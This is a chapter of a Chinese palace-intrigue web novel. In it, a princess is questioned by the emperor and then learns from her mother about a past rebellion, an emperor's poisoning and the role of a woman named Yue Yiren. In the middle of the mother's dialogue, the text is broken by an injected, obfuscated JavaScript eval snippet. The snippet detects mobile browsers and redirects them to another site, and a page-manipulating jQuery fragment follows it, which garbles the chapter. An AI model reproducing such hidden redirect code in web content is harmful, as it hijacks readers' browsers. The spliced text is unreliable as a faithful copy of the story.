65. 真相

    久雨初晴的晌午,风温柔极了,小贩声嘶力竭的叫卖声不绝于耳,齐嘉许瘫坐在轿撵中,浑身仿佛被抽干了般,没有一丝力气。


    虞归晚疯疯癫癫的话与齐策的试探一刻不停的在耳边回响。


    她把脸埋在手里,浑身止不住的颤抖!


    一刻钟前,御书房。


    虞归晚离开的动静很大,有淡淡的血腥味飘到了内殿。


    齐嘉许被虞归晚的坦白打的措手不及,她木然的站在内殿,思绪纷乱如麻,她实在想不明白,为什么齐观云、先帝还有昭阳姐姐会被这样一个女人玩弄于股掌之中。


    还未等她厘清思绪,就听齐策幽幽道:“仲霄?


    齐嘉许心中一惊,忙退出内殿,叩首道:“臣失仪,陛下恕罪。”


    齐策语调一冷:“失仪的是贵妃,与妹妹何干?”


    齐嘉许浑身僵硬,低着头不敢说话。


    御书房里安静的只能听见自己的心跳。


    突然齐策笑出了声,他笑得如此爽朗,以至于齐嘉许都分不清他究竟是在发怒,还是真的开心,可是到底有什么可开心的?


    她迟疑的抬头,就见齐策狭长的凤眼正一瞬不落的打量着自己,眼神冰冷如霜,只一瞬那凌厉的目光霎时收回,他又变回了玩世不恭的模样道:“好了为兄不吓你了,我记得你以前没这么胆小呀。”


    “以前是臣年幼——”齐嘉许不知齐策突然这么说是何意,她也已经记不清自己幼时是否与他有过龃龉了,下意识的就要请罪。


    “打住打住——”齐策却打断了她的话道:“你我兄妹,套话就别说了,朕问你那支雕翎羽箭到底是谁的?”


    齐嘉许心中顿时警铃大作,她低着头斟酌许久,刚要开口,就听齐策道:“起来回话。”


    她刚打好的腹稿被齐策突然的恩典打了个稀碎,她深吸一口气,站起身来,硬着头皮道:“法不诛心,臣不敢妄加揣测,但事关陛下与娘娘安全,臣不敢怠慢,臣愿立下军令状,一个月内,查出幕后真凶。”


    齐策满意的点点看着齐嘉许道:“时至今日我才明白皇兄为何如此倚重悯之?”


    不等齐嘉许反应,他又自顾自道:“因为姑姑永远是姑姑,是大辰的护国柱石。”


    突如其来的夸赞令齐嘉许惊慌失措,她忙要谢恩,齐策不满的啧了一声,招手示意她上前。


    她迟疑的走上前去,齐策把那支断箭放进了她的手中正色道:“朕同样也需要你。”


    齐嘉许郑重点头,领旨告退。


    午时的阳光明媚热烈,驱散了她身上盘桓许久的湿冷,齐嘉许感觉自己终于活过来般,深吸一口气,却听齐策突然开口道:“对了,仲霄,听说悯之派了亲信在京城搜寻月伊人的下落,可找到了?”


    男人的声音自御书房而来,不大,穿过帘帐,已经低到几不可闻,齐嘉许却一字不拉的听的清清楚楚。


    先前听了那么一出大戏,她料到了齐策会为此发难,却不曾想,是在此时,而且他连齐观云留了尾巴在京都之事都一清二楚,她心狠狠一跳,隔着帘帐回话道:“月伊人弑父,是十恶不赦的死罪,臣妹已经休书回家,让愚兄节哀了。”


    齐策似乎站了起来,在御书房踱步,漫不经心道:“只是不知道他能不能节哀,毕竟二人是先帝赐的婚。”


    “臣妹不知道什么先帝赐婚,臣妹只知道哥哥嫂嫂是陛下赐婚,无论是公主府还是王府都只认一个王妃,就是皇后娘娘的亲妹妹,冯家三小姐,如今的定王妃。”


    御书房长久的安静了下来,齐嘉许感觉自己快要被齐策看穿般,浑身紧绷到有些发颤,她第一次体会到伴君如伴虎的感觉,连呼吸都有变得艰难了起来。


    “午时了?”齐策终于开口:“姑姑身边离不开人,快回去吧,替朕向姑姑问安。”


    齐嘉许紧绷的思绪被一声“栗子糕喽——”的叫卖声惊醒,她终于回过神来,紧紧捏着袖中的箭,摩梭着上面特殊的纹样,眸色是难以言说的复杂,她隔着帘子,直勾勾盯着面前的糕点铺,冷笑一声道:“还真让她说中了。”


    跟在齐嘉许身边的侍卫东篱身着利落的石青直裰,乌发高高束起,眉眼间英气逼人,与齐嘉许的气质一般无二,眼见自己郡主对着栗子糕失神,她拱手道:“郡主是想吃栗子糕了吗,属下去给你买?”


    说罢,不等马车停稳,她便掀开帘子就要出去。


    齐嘉许回过神来,叫住她道:“不必了,买份豌豆黄吧,我娘爱吃。”


    东篱点点头,跳下马车。


    齐嘉许放下帘子,靠在马车里闭目养神,原来当“质子”的日子这么不好过呀,她开始心疼齐悯之了,不仅是因为伴君如伴虎,更是因为她!


    虞归晚,月伊人,不管你是谁,从此以后,我们栎阳公主府与你再无干戈!


    二人买了糕点,齐嘉许又去刑部调了当年月伊人弑父一案的卷宗,回到公主府时已是夕阳西下。


    栎阳公主府坐落在城西,是极僻静幽深之处,夕阳里,金瓦红墙被镀上了一层薄金,富贵显赫,这是贞庆帝对女儿的偏宠,可也是他想把母亲送去和亲。


    帝王家把无情猜忌伪装成温情脉脉的模样令人生厌,齐嘉许实在不明白母亲战功赫赫为何要如此委曲求全。


    她失魂落魄的进了府门,心中百感交集,一不留神,险些撞进了母亲怀中。


    李太主伤已经好了大半,身体却再不复从前,经不住齐嘉许一撞,还好齐嘉许反应快,一个转身站到了母亲身后,她搀扶着母亲坐下,嗔怪道:“娘,您也不喊我一声,撞到您了怎么办?”


    “娘是纸糊的?”李太主自是不服气,回头敲了下女儿的头道:“倒是你,脸白的纸一样,怎么了这是?”


    齐嘉许摇摇头,把糕点递给母亲道:“尝尝,你最爱吃的豌豆黄,还是不是当年的味了?”


    李太主捻起糕点品了一口,满意道:“一品酥的手艺?”


    齐嘉许托腮看着母亲,迟疑道:“这么好吃?我也尝尝。”


    李太主顺手把糕点喂给女儿。


    齐嘉许咬了一口道:“真的好吃耶,难怪娘在西北说日日想着,以后我天天给你买。”


    “到底是女儿贴心,你哥哥回去就—”李太主的话戛然而止,齐嘉许脸上的表情也是一僵,母女二人对视许久,李太主终于开口道:“让你陪我回京,委屈你了。”


    齐嘉许耸耸肩,笑道:“不委屈我,就委屈哥哥,他都委屈过了,该我了。”


    李太主一辈子只有这双儿女,儿女感情颇深,女儿的性子很像自己,开朗豁达,敢爱敢恨,儿子的性格却像驸马,表面玩世不恭,内里却重情重义,他们都该是驰骋草原的鹰,可是......


    她有些后悔让自己的一双儿女随了自己姓,但是她深知,自来帝王最怕守边将领功高震主,他们的困局并非姓齐,而是自己手上的兵权。


    “娘,您又在想什么呢?“齐嘉许眼见母亲又在走神,抱着她撒娇道:“您不会想哥哥了吧,在您心里,果然还是哥哥重要呗?”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568386|166553||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    你重要你最重要了。“李太主哑然失笑,她拍拍女儿的手道:“只是,你哥哥如今这样,我实在担心。”


    母亲话如春雷,再次唤醒了齐嘉许深埋心底的疑问,长久地沉默在母女二人之间蔓延开来,她终于忍不住,问道:“娘,您是不是见过月,那个月姑娘,她真的那么特别到让他这么念念不忘吗?”


    李太主手上的动作一顿,回忆起那次见到月伊人时的情形。


    那是建昭九年的秋猎,江域已经失势,建昭帝齐初终于亲政,这是他亲政后的第一次秋猎,彼时皇后已经有了把个月的身孕,并未随行,齐初便带了齐观云前去秋猎,留镇国昭阳公主齐钰监国。


    朝中一片歌舞升平。


    就在此时,江域却勾结猎场守军起兵谋反。


    他们兵围猎宫,逼齐初传位于尚未出世的皇后之子。


    齐钰收到奏报,领兵勤王,却不知所踪,得知消息的李太主,狼奔七日,千里勤王,抵达京城时,京城一片战火,哀嚎声遍野。


    她兵分两路,一路前往猎场勤王,一路直取京城。


    齐观云善战,被围当日,便带着亲卫护送齐初遁入山林,他借着地势与叛军周旋数日,终于等到了援军,与援军里应外合,大败叛军,护驾回京。


    可是,等他们赶回京城时却发现,京城早已被叛军占领,皇后太后生死未卜。


    齐观云请旨攻城,在城外与叛军血战数日,终于破城,可是入城后,他们才发现,半月以来,叛军在京城大开杀戒,所有皇子公主死伤殆尽,唯有安王带领府兵与一众残兵退守宫城,与叛军周旋至今,尚有机会存活。


    但一个时辰前,安王力竭,身中数箭昏迷不醒,而叛军已经攻入皇城。


    “他们想要挟持皇后腹中皇子登基,在皇城大开杀戒,当时的皇城,血流漂橹。”


    李太主说到这里,似乎又看见了血流成河的京城九月,面露凄然。


    “攻城之战,自来艰难,江域已经造反了,还屠戮皇城,一群亡命之徒应该更加难缠才对。”齐嘉许却意识到,事情并非那么简单。


    “因为有人散播消息,皇后要早产了。”李太主回答。


    “所以他们分兵去攻打皇城?”齐嘉许感觉极为荒唐,齐观云何许人也,十四岁领兵,便一支轻骑直取戎狄首领首级的少年将军,他们怎么敢在他面前露出破绽,江域会是如此轻率之人?


    李太主摇摇头:“不止如此,还因为先帝中毒了,所以皇后腹中的皇子成了逆贼角逐的目标。”


    “先帝是——中毒?”齐嘉许嚯得站起来,“是江域?”


    李太主不置可否:“毒藏在皇后给先帝祈福的荷包里。”


    难怪即使长子降生,先帝还是传位给了安王,难怪朝中对先帝之死讳莫如深,齐嘉许感觉后脊一阵发凉,也难怪齐策登基后便对江氏余孽大开杀戒,原来如此。


    可是皇子并未降生,万一是个公主呢?


    齐嘉许感觉此事疑点重重,不过往事已然盖棺定论,她如今更好奇月伊人在期间扮演了什么角色?


    “那月伊人呢,这跟她有什么关系,还有齐钰,她就此消失了?”她追问。


    提到齐钰,李太主面露苍凉,她自然不信齐钰与江域串通,想要篡权的谣言,可是皇子篡权,不需要屠戮公主,而且她失踪的太恰到好处了,她不敢细想,长长叹了口气道:“散播皇后早产消息的就是月伊人。”


    “她在皇城里。”


    李太主的眼前又浮现出那日破城的景象。